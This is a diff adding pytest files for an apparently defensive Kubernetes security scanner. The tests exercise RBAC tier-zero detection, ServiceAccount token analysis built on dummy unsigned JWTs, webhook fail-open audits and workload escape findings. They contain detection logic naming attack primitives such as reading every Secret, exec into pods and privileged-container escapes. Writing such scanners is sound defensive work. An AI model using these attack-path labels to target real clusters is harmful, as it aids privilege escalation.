+def test_kube_system_sa_not_reported():
+ """kube-system control-plane SAs are expected to be powerful β don't report them as hidden admins."""
+ cr = make_cluster_role(name="s", rules=[make_rule(verbs=["get", "list"], resources=["secrets"])])
+ crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="s",
+ subjects=[make_subject(kind="ServiceAccount", name="generic-garbage-collector", namespace="kube-system")])
+ findings = analyze_tier_zero([], [cr], [], [crb])
+ assert not [f for f in findings if "kube-system" in f.resource]
+
+
+def test_boring_reader_not_tier0():
+ cr = make_cluster_role(name="r", rules=[make_rule(verbs=["get"], resources=["pods"])])
+ crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="r",
+ subjects=[make_subject(kind="ServiceAccount", name="reader", namespace="dev")])
+ findings = analyze_tier_zero([], [cr], [], [crb])
+ assert findings == []
+
+
+def test_multiple_primitives_listed_in_one_finding():
+ cr = make_cluster_role(name="r", rules=[
+ make_rule(verbs=["get", "list"], resources=["secrets"]),
+ make_rule(verbs=["create"], resources=["pods/exec"]),
+ ])
+ crb = make_cluster_binding(name="b", role_kind="ClusterRole", role_name="r",
+ subjects=[make_subject(kind="ServiceAccount", name="att", namespace="dev")])
+ findings = analyze_tier_zero([], [cr], [], [crb])
+ f = next(f for f in findings if f.id == "AP-TIER0" and "sa:dev:att" in f.resource)
+ assert "read every Secret" in f.description
+ assert "exec into any pod" in f.description
diff --git a/tests/test_tokens.py b/tests/test_tokens.py
new file mode 100644
index 0000000..e9148d1
--- /dev/null
+++ b/tests/test_tokens.py
@@ -0,0 +1,99 @@
+"""Tests for ServiceAccount token analysis (JWT decode)."""
+import base64
+import json
+
+from kuberoast.scanners.tokens import scan_tokens
+from tests.conftest import make_secret
+
+
+def _make_jwt(payload: dict) -> str:
+ """Build an unsigned JWT (header.payload.sig) for testing payload decoding only."""
+ header = base64.urlsafe_b64encode(b'{"alg":"RS256","typ":"JWT"}').rstrip(b"=").decode()
+ body = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b"=").decode()
+ sig = base64.urlsafe_b64encode(b"sig").rstrip(b"=").decode()
+ return f"{header}.{body}.{sig}"
+
+
+def _sa_secret(name, ns, token_payload):
+ token = _make_jwt(token_payload)
+ return make_secret(
+ name=name, namespace=ns,
+ secret_type="kubernetes.io/service-account-token",
+ data={"token": base64.b64encode(token.encode()).decode()},
+ )
+
+
+def test_legacy_non_expiring_token_high():
+ payload = {
+ "iss": "kubernetes/serviceaccount",
+ "kubernetes.io/serviceaccount/namespace": "default",
+ "kubernetes.io/serviceaccount/service-account.name": "my-sa",
+ # NO exp claim β legacy token
+ }
+ s = _sa_secret("my-sa-token", "default", payload)
+ findings = scan_tokens([s])
+ legacy = next(f for f in findings if f.id == "TOKEN-LEGACY-NONEXPIRING")
+ assert legacy.severity == "high"
+ assert legacy.exploitability == "trivial"
+ assert "my-sa" in legacy.description
+
+
+def test_expiring_token_medium():
+ payload = {
+ "iss": "kubernetes/serviceaccount",
+ "kubernetes.io/serviceaccount/namespace": "ns",
+ "kubernetes.io/serviceaccount/service-account.name": "sa",
+ "exp": 9999999999,
+ "aud": "https://kubernetes.default.svc.cluster.local",
+ }
+ s = _sa_secret("sa-token", "ns", payload)
+ findings = scan_tokens([s])
+ f = next(f for f in findings if f.id == "TOKEN-EXPIRING")
+ assert f.severity == "medium"
+
+
+def test_non_default_audience_flagged():
+ payload = {
+ "iss": "kubernetes/serviceaccount",
+ "kubernetes.io/serviceaccount/namespace": "ns",
+ "kubernetes.io/serviceaccount/service-account.name": "sa",
+ "aud": "sts.amazonaws.com", # IRSA audience
+ }
+ s = _sa_secret("irsa-token", "ns", payload)
+ ids = {f.id for f in scan_tokens([s])}
+ assert "TOKEN-AUDIENCE" in ids
+
+
+def test_default_audience_not_flagged_as_irsa():
+ payload = {
+ "iss": "kubernetes/serviceaccount",
+ "kubernetes.io/serviceaccount/namespace": "ns",
+ "kubernetes.io/serviceaccount/service-account.name": "sa",
+ "aud": "https://kubernetes.default.svc.cluster.local",
+ "exp": 9999999999,
+ }
+ s = _sa_secret("default-aud-token", "ns", payload)
+ ids = {f.id for f in scan_tokens([s])}
+ assert "TOKEN-AUDIENCE" not in ids
+
+
+def test_unparseable_token_emits_opaque_finding():
+ s = make_secret(
+ name="weird", namespace="default",
+ secret_type="kubernetes.io/service-account-token",
+ data={"token": base64.b64encode(b"not-a-jwt").decode()},
+ )
+ ids = {f.id for f in scan_tokens([s])}
+ assert "TOKEN-OPAQUE" in ids
+
+
+def test_non_sa_secret_ignored():
+ s = make_secret(name="opaque", namespace="default",
+ secret_type="Opaque", data={"foo": "Ymxh"})
+ assert scan_tokens([s]) == []
+
+
+def test_missing_token_key_skipped():
+ s = make_secret(name="weird", namespace="default",
+ secret_type="kubernetes.io/service-account-token", data={})
+ assert scan_tokens([s]) == []
diff --git a/tests/test_webhooks.py b/tests/test_webhooks.py
new file mode 100644
index 0000000..5446dc9
--- /dev/null
+++ b/tests/test_webhooks.py
@@ -0,0 +1,68 @@
+"""Tests for admission webhook bypass audit."""
+from kuberoast.scanners.webhooks import scan_webhooks
+from tests.conftest import make_webhook, make_webhook_config
+
+
+def test_fail_open_webhook_high():
+ wh = make_webhook(name="policy.example.com", failure_policy="Ignore")
+ vw = make_webhook_config(name="vw-policy", webhooks=[wh])
+ f = next(f for f in scan_webhooks([vw], []) if f.id == "WEBHOOK-FAIL-OPEN")
+ assert f.severity == "high"
+ assert f.exploitability == "moderate"
+
+
+def test_fail_closed_webhook_not_flagged_as_open():
+ wh = make_webhook(name="policy.example.com", failure_policy="Fail")
+ vw = make_webhook_config(name="vw-good", webhooks=[wh])
+ ids = {f.id for f in scan_webhooks([vw], [])}
+ assert "WEBHOOK-FAIL-OPEN" not in ids
+
+
+def test_long_timeout_flagged():
+ wh = make_webhook(name="x", failure_policy="Fail", timeout_seconds=30)
+ vw = make_webhook_config(name="vw", webhooks=[wh])
+ f = next(f for f in scan_webhooks([vw], []) if f.id == "WEBHOOK-SLOW-TIMEOUT")
+ assert f.severity == "low"
+
+
+def test_long_timeout_plus_fail_open_is_medium():
+ wh = make_webhook(name="x", failure_policy="Ignore", timeout_seconds=30)
+ vw = make_webhook_config(name="vw", webhooks=[wh])
+ f = next(f for f in scan_webhooks([vw], []) if f.id == "WEBHOOK-SLOW-TIMEOUT")
+ assert f.severity == "medium"
+
+
+def test_side_effects_unknown_flagged():
+ wh = make_webhook(name="x", side_effects="Unknown")
+ vw = make_webhook_config(name="vw", webhooks=[wh])
+ ids = {f.id for f in scan_webhooks([vw], [])}
+ assert "WEBHOOK-SIDE-EFFECTS" in ids
+
+
+def test_missing_ca_bundle_flagged():
+ wh = make_webhook(name="x", ca_bundle=None)
+ vw = make_webhook_config(name="vw", webhooks=[wh])
+ f = next(f for f in scan_webhooks([vw], []) if f.id == "WEBHOOK-NO-CA")
+ assert f.severity == "medium"
+
+
+def test_mutating_webhook_audited_too():
+ wh = make_webhook(name="mutate.example.com", failure_policy="Ignore")
+ mw = make_webhook_config(name="mw-1", webhooks=[wh])
+ f = next(f for f in scan_webhooks([], [mw]) if f.id == "WEBHOOK-FAIL-OPEN")
+ assert "MutatingWebhookConfiguration" in f.title
+
+
+def test_multiple_webhooks_in_one_config():
+ wh1 = make_webhook(name="a", failure_policy="Ignore")
+ wh2 = make_webhook(name="b", failure_policy="Ignore")
+ vw = make_webhook_config(name="vw", webhooks=[wh1, wh2])
+ findings = scan_webhooks([vw], [])
+ assert len([f for f in findings if f.id == "WEBHOOK-FAIL-OPEN"]) == 2
+
+
+def test_clean_webhook_no_findings():
+ wh = make_webhook(name="x", failure_policy="Fail", timeout_seconds=3,
+ side_effects="None", ca_bundle="abc")
+ vw = make_webhook_config(name="vw", webhooks=[wh])
+ assert scan_webhooks([vw], []) == []
diff --git a/tests/test_workloads.py b/tests/test_workloads.py
new file mode 100644
index 0000000..b0eac87
--- /dev/null
+++ b/tests/test_workloads.py
@@ -0,0 +1,127 @@
+"""Tests for workload pod-template extraction and resource relabeling."""
+from types import SimpleNamespace
+
+from kuberoast.scanners.escapes import scan_escapes
+from kuberoast.scanners.pods import scan_pod_security
+from kuberoast.utils.workloads import (
+ synthesize_pod_from_workload, relabel_workload_findings, iter_workload_pods,
+ amplify_daemonset_findings,
+)
+from kuberoast.utils.findings import Finding
+from tests.conftest import (
+ make_pod, make_container, make_host_path_volume,
+ make_deployment, make_cronjob,
+)
+
+
+def test_synthesize_from_deployment_preserves_namespace_and_name():
+ template = make_pod(name="ignored", namespace="prod",
+ containers=[make_container(privileged=True)]).spec
+ deploy = make_deployment(name="my-app", namespace="prod", template_spec=template)
+ pod = synthesize_pod_from_workload(deploy, "Deployment")
+ assert pod.metadata.name == "my-app"
+ assert pod.metadata.namespace == "prod"
+ assert pod.spec.containers[0].security_context.privileged is True
+
+
+def test_synthesize_from_cronjob_walks_job_template():
+ template = make_pod(name="ignored", namespace="batch",
+ containers=[make_container(caps_add=["SYS_ADMIN"])]).spec
+ cj = make_cronjob(name="nightly", namespace="batch", template_spec=template)
+ pod = synthesize_pod_from_workload(cj, "CronJob")
+ assert pod is not None
+ assert pod.metadata.name == "nightly"
+ assert pod.metadata.namespace == "batch"
+ assert "SYS_ADMIN" in pod.spec.containers[0].security_context.capabilities.add
+
+
+def test_synthesize_missing_template_returns_none():
+ deploy = SimpleNamespace(
+ metadata=SimpleNamespace(name="empty", namespace="x", annotations={}, labels={}),
+ spec=SimpleNamespace(template=None),
+ )
+ assert synthesize_pod_from_workload(deploy, "Deployment") is None
+
+
+def test_synthesize_merges_template_annotations():
+ """AppArmor annotations live on the pod template, not the workload β must be preserved."""
+ template = make_pod(name="ignored", namespace="prod",
+ annotations={"container.apparmor.security.beta.kubernetes.io/app": "runtime/default"}).spec
+ deploy = make_deployment(
+ name="my-app", namespace="prod", template_spec=template,
+ template_annotations={"container.apparmor.security.beta.kubernetes.io/app": "runtime/default"},
+ )
+ pod = synthesize_pod_from_workload(deploy, "Deployment")
+ assert "container.apparmor.security.beta.kubernetes.io/app" in pod.metadata.annotations
+
+
+def test_relabel_rewrites_resource_prefix():
+ template = make_pod(name="ignored", namespace="prod",
+ containers=[make_container(privileged=True)]).spec
+ deploy = make_deployment(name="my-app", namespace="prod", template_spec=template)
+ pod = synthesize_pod_from_workload(deploy, "Deployment")
+ findings = scan_escapes(pod)
+ assert any(f.resource and f.resource.startswith("pod/my-app") for f in findings)
+ relabeled = relabel_workload_findings(findings, "Deployment", "my-app")
+ assert any(f.resource and f.resource.startswith("deployment/my-app") for f in relabeled)
+ # No leftover pod/ prefixes for this workload's findings
+ assert not any(f.resource and f.resource.startswith("pod/my-app") for f in relabeled)
+
+
+def test_relabel_preserves_other_resource_strings():
+ """Findings for unrelated pods should not be rewritten."""
+ template = make_pod(name="ignored", containers=[make_container(privileged=True)]).spec
+ deploy = make_deployment(name="A", namespace="prod", template_spec=template)
+ pod = synthesize_pod_from_workload(deploy, "Deployment")
+ findings = scan_escapes(pod)
+ # Add a fake finding for an unrelated pod
+ from kuberoast.utils.findings import Finding
+ findings.append(Finding(id="OTHER", title="x", description="x", resource="pod/other-pod::c"))
+ relabeled = relabel_workload_findings(findings, "Deployment", "A")
+ other = next(f for f in relabeled if f.id == "OTHER")
+ assert other.resource == "pod/other-pod::c"
+
+
+def test_iter_workload_pods_yields_synthesized_pods():
+ template = make_pod(name="ignored", namespace="prod").spec
+ deploys = [
+ make_deployment(name="a", namespace="prod", template_spec=template),
+ make_deployment(name="b", namespace="prod", template_spec=template),
+ ]
+ out = list(iter_workload_pods(deploys, "Deployment"))
+ assert [name for _, _, name in out] == ["a", "b"]
+
+
+def test_deployment_template_run_through_pod_scanner():
+ """End-to-end: a Deployment with a privileged template should produce a POD-PRIV finding under a deployment/ resource."""
+ template = make_pod(name="ignored", containers=[make_container(privileged=True)]).spec
+ deploy = make_deployment(name="bad-deploy", namespace="ns1", template_spec=template)
+ pod = synthesize_pod_from_workload(deploy, "Deployment")
+ findings = scan_pod_security(pod)
+ relabeled = relabel_workload_findings(findings, "Deployment", "bad-deploy")
+ priv = next(f for f in relabeled if f.id == "POD-PRIV")
+ assert priv.resource.startswith("deployment/bad-deploy")
+
+
+# ---------- DaemonSet escape amplification ----------
+
+def test_daemonset_amplifies_escape_impact():
+ findings = [Finding(id="ESC-PRIV", title="x", description="x", severity="critical",
+ category="Escape", impact="Root on the node.")]
+ out = amplify_daemonset_findings(findings, "DaemonSet")
+ assert out[0].impact.startswith("[DaemonSet")
+ assert "every node" in out[0].impact.lower()
+
+
+def test_daemonset_amplification_skips_non_daemonset():
+ findings = [Finding(id="ESC-PRIV", title="x", description="x", severity="critical",
+ category="Escape", impact="Root on the node.")]
+ out = amplify_daemonset_findings(findings, "Deployment")
+ assert not out[0].impact.startswith("[DaemonSet")
+
+
+def test_daemonset_amplification_only_touches_escape_and_attackpath():
+ findings = [Finding(id="POD-PE", title="x", description="x", severity="medium",
+ category="Pod Security", impact="meh")]
+ out = amplify_daemonset_findings(findings, "DaemonSet")
+ assert out[0].impact == "meh" # untouched (not Escape/AttackPath, not high/critical)